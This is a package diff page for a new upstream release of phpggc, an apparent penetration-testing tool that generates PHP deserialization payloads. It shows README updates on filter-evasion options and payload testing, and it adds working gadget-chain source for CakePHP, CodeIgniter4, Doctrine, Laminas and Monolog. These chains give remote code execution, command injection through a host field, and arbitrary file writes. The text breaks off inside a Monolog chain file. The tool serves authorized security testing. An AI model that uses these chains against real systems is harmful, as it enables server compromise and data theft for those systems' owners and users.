Codebase list phpggc / 6c36fb1
New upstream release. Kali Janitor 2 years ago
63 changed file(s) with 2120 addition(s) and 165 deletion(s). Raw diff Collapse all Expand all
77 ## Requirements
88
99 PHP >= 5.6 is required to run PHPGGC.
10 PHP 8 is not yet supported.
1110
1211
1312 ## Usage
2019 Gadget Chains
2120 -------------
2221
23 NAME VERSION TYPE VECTOR I
24 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
25 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
26 Doctrine/FW1 ? File write __toString *
27 Drupal7/FD1 7.0 < ? File delete __destruct *
28 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
29 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
30 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
31 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
32 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
33 Laminas/FD1 <= 2.11.2 File delete __destruct
34 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
35 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
36 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
37 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
38 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
39 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
40 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
41 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
42 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
43 Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct
44 Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct
45 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
46 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
47 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
48 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
49 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
50 PHPExcel/FD1 1.8.2+ File delete __destruct
51 PHPExcel/FD2 <= 1.8.1 File delete __destruct
52 PHPExcel/FD3 1.8.2+ File delete __destruct
53 PHPExcel/FD4 <= 1.8.1 File delete __destruct
54 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
55 Slim/RCE1 3.8.1 RCE (Function call) __toString
56 Smarty/FD1 ? File delete __destruct
57 Smarty/SSRF1 ? SSRF __destruct *
58 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
59 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
60 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
61 SwiftMailer/FW3 5.0.1 File write __toString
62 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
63 Symfony/FW1 2.5.2 File write DebugImport *
64 Symfony/FW2 3.4 File write __destruct
65 Symfony/RCE1 3.3 RCE (Command) __destruct *
66 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
67 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
68 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
69 TCPDF/FD1 <= 6.3.5 File delete __destruct *
70 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
71 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
72 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
73 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
74 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
75 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
76 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
77 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
78 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
79 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
80 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
81 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
82 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
83 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
84 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
85 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
86 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
87 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
88 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
89 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
90 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
91 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
92 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
93 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
22 NAME VERSION TYPE VECTOR I
23 CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
24 CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
25 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
26 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
27 CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
28 Doctrine/FW1 ? File write __toString *
29 Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
30 Drupal7/FD1 7.0 < ? File delete __destruct *
31 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
32 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
33 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
34 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
35 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
36 Laminas/FD1 <= 2.11.2 File delete __destruct
37 Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
38 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
39 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
40 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
41 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
42 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
43 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
44 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
45 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
46 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
47 Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+ RCE (Function call) __destruct
48 Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct
49 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
50 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
51 Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct
52 Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct
53 Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct *
54 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
55 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
56 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
57 PHPExcel/FD1 1.8.2+ File delete __destruct
58 PHPExcel/FD2 <= 1.8.1 File delete __destruct
59 PHPExcel/FD3 1.8.2+ File delete __destruct
60 PHPExcel/FD4 <= 1.8.1 File delete __destruct
61 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
62 Slim/RCE1 3.8.1 RCE (Function call) __toString
63 Smarty/FD1 ? File delete __destruct
64 Smarty/SSRF1 ? SSRF __destruct *
65 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
66 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
67 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
68 SwiftMailer/FW3 5.0.1 File write __toString
69 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
70 Symfony/FW1 2.5.2 File write DebugImport *
71 Symfony/FW2 3.4 File write __destruct
72 Symfony/RCE1 3.3 RCE (Command) __destruct *
73 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
74 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
75 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
76 Symfony/RCE5 5.2.* RCE (Function call) __destruct
77 TCPDF/FD1 <= 6.3.5 File delete __destruct *
78 ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
79 ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
80 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
81 ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
82 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
83 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
84 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
85 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
86 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
87 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
88 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
89 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
90 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
91 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
92 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
93 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
94 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
95 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
96 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
97 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
98 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
99 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
100 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
101 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
102 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
103 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
104 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
94105
95106 ```
96107
156167
157168 The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions:
158169
159 - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters
160 - `process_object($object)`: Called right **before** `serialize()`, allows to change the object
161 - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string
170 - `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters
171 - `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object
172 - `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string
162173
163174 For instance, if the vulnerable code looks like this:
164175
233244
234245 ### ASCII Strings
235246
236 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation:
247 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation:
237248 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";`
238249 This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.
239250 *Note: this is experimental and it might not work in some cases.*
240251
252 ### Armor Strings
253
254 Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation:
255 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"\41\00\42\09\0D";`
256 This comes handy when a firewall or PHP code blocks strings.
257 *Note: this is experimental and it might not work in some cases.*
258 *Note: this makes each string in the payload grow by a factor of 3.*
259
241260 ### Plus Numbers
242261
243262 Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols.
244 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +.
245
263 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`.
264
265 ### Testing your chain
266
267 To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option.
268
269 For instance, to test if `Monolog/RCE2` works on Symfony `4.x`:
270
271 ```
272 $ composer create-project symfony/website-skeleton=4.x some_symfony
273 $ cd some_symfony
274 $ phpggc monolog/rce2 --test-payload
275 Trying to deserialize payload...
276 SUCCESS: Payload triggered !
277 ```
278
279 The exit code will be `0` if the payload triggered, `1` otherwise.
280
281 ### Testing your chain against every version of a package
282
283 If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`.
284
285 ```
286 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
287 Testing 59 versions for monolog/monolog against 2 gadget chains.
288
289 ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
290 ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
291 ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
292 │ 2.x-dev │ OK │ OK │ KO │
293 │ 2.3.0 │ OK │ OK │ KO │
294 │ 2.2.0 │ OK │ OK │ KO │
295 │ 2.1.1 │ OK │ OK │ KO │
296 │ 2.1.0 │ OK │ OK │ KO │
297 │ 2.0.2 │ OK │ OK │ KO │
298 │ 2.0.1 │ OK │ OK │ KO │
299 │ 2.0.0 │ OK │ OK │ KO │
300 │ 2.0.0-beta2 │ OK │ OK │ KO │
301 │ 2.0.0-beta1 │ OK │ OK │ KO │
302 │ 1.x-dev │ OK │ OK │ KO │
303 │ 1.26.1 │ OK │ OK │ KO │
304 │ 1.26.0 │ OK │ OK │ KO │
305 │ 1.25.5 │ OK │ OK │ KO │
306 │ 1.25.4 │ OK │ OK │ KO │
307 ...
308 │ 1.0.1 │ OK │ KO │ KO │
309 │ 1.0.0 │ OK │ KO │ KO │
310 │ 1.0.0-RC1 │ OK │ KO │ KO │
311 │ dev-main │ OK │ OK │ KO │
312 │ * dev-phpstan │ OK │ OK │ KO │
313 └─────────────────┴─────────┴──────────────┴──────────────┘
314 ```
246315
247316 # API
248317
292361
293362 - `__destruct()` is always the best vector
294363 - Specify at least the version of the library you've built the payload on
295 - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
296364 - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
365 - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation.
297366
298367 Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
299368 You can define pre- and post- processing methods, if parameters need to be modified.
304373 For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.
305374
306375
307
308 ## Docker
376 # Docker
309377
310378 If you don't want to install PHP, you can use `docker build`.
311379
0 phpggc (0.20211010-0kali1) UNRELEASED; urgency=low
1
2 * New upstream release.
3
4 -- Kali Janitor <[email protected]> Mon, 18 Oct 2021 00:37:04 -0000
5
06 phpggc (0.20210218-0kali1) kali-dev; urgency=medium
17
28 * Configure debian/watch to track git master
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\Command
5 {
6 public static $version = '? <= 3.9.6';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $command = $parameters['command'];
13
14 return new \Symfony\Component\Process\Process($command);
15 }
16 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($cmd)
14 {
15 $this->options['create_new_console'] = 0;
16 $this->processPipes = new Table($cmd);
17 $this->status = "started";
18 $this->process = 1;
19 }
20 }
21 }
22
23 namespace Cake\ORM
24 {
25 use Cake\Shell\ServerShell;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($cmd)
32 {
33 $this->_behaviors = new BehaviorRegistry($cmd);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($cmd)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb', 'main']];
45 $this->_loaded = ['mb' => new ServerShell($cmd)];
46 }
47 }
48 }
49
50 namespace Cake\Shell
51 {
52 use Cake\Console\ConsoleIo;
53
54 class ServerShell
55 {
56 protected $_host;
57 protected $_port;
58 protected $_documentRoot;
59 protected $_io;
60
61 public function __construct($cmd)
62 {
63 $this->_host = '& ' . $cmd . ' &'; // command injection
64 $this->_port = '';
65 $this->_documentRoot = '';
66 $this->_io = new ConsoleIo();
67 }
68 }
69 }
70
71 namespace Cake\Console
72 {
73 class ConsoleIo
74 {
75 protected $_out;
76
77 public function __construct()
78 {
79 $this->_level = -100;
80 }
81 }
82 }
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '? <= 4.2.3';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Symfony\Component\Process\Process($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($func, $args){
14 $this->options['create_new_console'] = 0;
15 $this->processPipes = new Table($func, $args);
16 $this->status = "started";
17 $this->process = 1;
18 }
19 }
20 }
21
22
23 namespace Cake\ORM
24 {
25 use Cake\Database\Statement\CallbackStatement;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($func,$args)
32 {
33 $this->_behaviors = new BehaviorRegistry($func, $args);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($func, $args)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb','fetch']];
45 $this->_loaded = ['mb' => new CallbackStatement($func, $args)];
46 }
47 }
48 }
49
50 namespace Cake\Database\Statement
51 {
52 class CallbackStatement
53 {
54 protected $_callback;
55 protected $_statement;
56
57 public function __construct($func, $args)
58 {
59 $this->_callback = $func;
60 $this->_statement = new BufferedStatement($args);
61 }
62 }
63
64 class BufferedStatement
65 {
66 protected $_allFetched;
67 protected $buffer;
68 protected $index;
69
70 public function __construct($args)
71 {
72 $this->_allFetched = 1;
73 $this->buffer = [$args];
74 $this->index = 0;
75 }
76 }
77 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3+';
7 public static $vector = '__destruct';
8 public static $author = 'Firebasky';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Faker
3 {
4 class DefaultGenerator
5 {
6 protected $default;
7
8 public function __construct($cmd)
9 {
10 $this->default = $cmd; //open /System/Applications/Calculator.app
11 }
12 }
13 }
14
15 namespace Faker
16 {
17 class ValidGenerator
18 {
19 protected $generator;
20 protected $validator;
21 protected $maxRetries;
22
23 public function __construct($generator, $func)
24 {
25 $this->maxRetries = 1; //执行次数
26 $this->validator = $func;
27 $this->generator = $generator;
28 }
29 }
30 }
31
32 namespace CodeIgniter\Session\Handlers
33 {
34 class MemcachedHandler
35 {
36 public $lockKey = "Firebasky";
37 public $memcached;
38
39 public function __construct($memcached)
40 {
41 $this->memcached = $memcached;
42 }
43 }
44 }
45
46 namespace CodeIgniter\Cache\Handlers
47 {
48 class RedisHandler
49 {
50 public $redis;
51
52 public function __construct($func, $param)
53 {
54 $this->redis =
55 new \CodeIgniter\Session\Handlers\MemcachedHandler(
56 new \Faker\ValidGenerator((new \Faker\DefaultGenerator($param)), $func)
57 );
58 }
59 }
60 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Creates a side directory "8a" in the same directory as your file.';
10
11 public function generate(array $parameters)
12 {
13 $writablePath = dirname($parameters['remote_path']);
14 $fileName = basename($parameters['remote_path']);
15 $phpCode = file_get_contents($parameters['local_path']);
16
17 return [
18 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
19 new \Doctrine\Common\Cache\Psr6\CacheItem(0),
20 new \Doctrine\Common\Cache\FilesystemCache(
21 '/'.str_repeat('x', 300), $writablePath
22 )
23 ),
24 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
25 new \Doctrine\Common\Cache\Psr6\CacheItem($phpCode),
26 new \Doctrine\Common\Cache\FilesystemCache(
27 '/../../' . $fileName, $writablePath
28 )
29 )
30 ];
31 }
32 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4 class CacheAdapter
5 {
6 private $deferredItems = [];
7
8 public function __construct($CacheItem, $FilesystemCache)
9 {
10 $this->deferredItems = ['x' => $CacheItem];
11 $this->cache = $FilesystemCache;
12 }
13 }
14 class CacheItem
15 {
16 private $value;
17
18 public function __construct($phpCode)
19 {
20 $this->value = $phpCode;
21 }
22 }
23 }
24
25 namespace Doctrine\Common\Cache
26 {
27 class FileCache
28 {
29 private $extension;
30 protected $directory;
31 private $umask = 0002;
32
33 public function __construct($extension, $directory)
34 {
35 $this->extension = $extension;
36 $this->directory = $directory;
37 }
38 }
39
40 class FilesystemCache extends FileCache {}
41 }
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Archive_Tar($parameters['remote_file']);
15 return new \Archive_Tar($parameters['remote_path']);
1616 }
1717 }
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \Laminas\Http\Response\Stream($remote_file);
14 return new \Laminas\Http\Response\Stream($remote_path);
1515 }
1616 }
00 <?php
1 namespace Laminas\Http\Response {
2 class Stream {
3 function __construct($remote_file) {
1
2 namespace Laminas\Http\Response
3 {
4 class Stream
5 {
6 function __construct($remote_path)
7 {
48 $this->cleanup = '1';
5 $this->streamName = $remote_file;
9 $this->streamName = $remote_path;
610 }
711 }
812 }
0 <?php
1
2 namespace GadgetChain\Laminas;
3
4 use Laminas\Cache\Psr\CacheItemPool\CacheItem;
5 use Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator;
6 use Laminas\Cache\Storage\Adapter\Filesystem;
7 use Laminas\Cache\Storage\Adapter\FilesystemOptions;
8
9
10 class FW1 extends \PHPGGC\GadgetChain\FileWrite
11 {
12 public static $version = '2.8.0 <= 3.0.x-dev';
13 public static $vector = '__destruct';
14 public static $author = 'swapgs';
15 public static $information = '
16 This chain requires both laminas/laminas-cache (tested up to 3.0.x-dev) and
17 laminas/laminas-cache-storage-adapter-filesystem (a default dependency) to work.
18 Asking for a remote filename without extension will create a file with a trailing dot
19 (e.g. asking for `foo` will create `foo.`)
20 ';
21
22 public function process_parameters($parameters)
23 {
24 $parameters = parent::process_parameters($parameters);
25 $infos = pathinfo($parameters['remote_path']);
26 $parameters['extension'] = isset($infos['extension']) ? $infos['extension'] : '';
27 $parameters['filename'] = isset($infos['filename']) ? $infos['filename'] : '';
28 $parameters['dirname'] = dirname($parameters['remote_path']);
29
30 return $parameters;
31 }
32
33 public function generate(array $parameters)
34 {
35 return new CacheItemPoolDecorator(
36 new Filesystem(
37 new FilesystemOptions($parameters['dirname'], $parameters['extension'])
38 ),
39 [new CacheItem($parameters['filename'], $parameters['data'])]
40 );
41 }
42 }
0 <?php
1
2 namespace Laminas\Cache\Storage\Adapter
3 {
4 class AdapterOptions
5 {
6 protected $namespace;
7 protected $keyPattern;
8
9 function __construct()
10 {
11 $this->namespace = '';
12 $this->keyPattern = '/.*/';
13 }
14 }
15
16 class FilesystemOptions extends AdapterOptions
17 {
18 protected $cacheDir;
19 protected $dirLevel;
20 protected $suffix;
21
22 function __construct($cacheDir, $extension)
23 {
24 parent::__construct();
25 $this->cacheDir = $cacheDir;
26 $this->suffix = $extension;
27 $this->dirLevel = 0;
28 }
29 }
30
31 class Filesystem
32 {
33 protected $options;
34
35 function __construct($options)
36 {
37
38 $this->options = $options;
39 }
40 }
41 }
42
43 namespace Laminas\Cache\Psr\CacheItemPool
44 {
45 class CacheItemPoolDecorator
46 {
47 protected $storage;
48 protected $deferred;
49
50 function __construct($storage, $deferred)
51 {
52 $this->storage = $storage;
53 $this->deferred = $deferred;
54 }
55 }
56
57 class CacheItem
58 {
59 protected $key;
60 protected $value;
61
62 function __construct($key, $value)
63 {
64 $this->key = $key;
65 $this->value = $value;
66 }
67 }
68 }
33
44 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.18 <= 2.1.1+';
6 public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2727 {
2828 $this->processors = $methods;
2929 $this->buffer = [$command];
30 $this->handler = clone $this;
30 $this->handler = $this;
3131 }
3232 }
33 }
33 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.5 <= 2.1.1+';
6 public static $version = '1.4.1 <= 2.2.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2828 {
2929 $this->processors = $methods;
3030 $this->buffer = [$command];
31 $this->handler = clone $this;
31 $this->handler = $this;
3232 }
3333 }
34 }
34 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.25 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\GroupHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class GroupHandler {
22 protected $processors = array();
23 public function __construct($function)
24 {
25 $this->processors = ['current', $function];
26 }
27
28 }
29 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\BufferHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
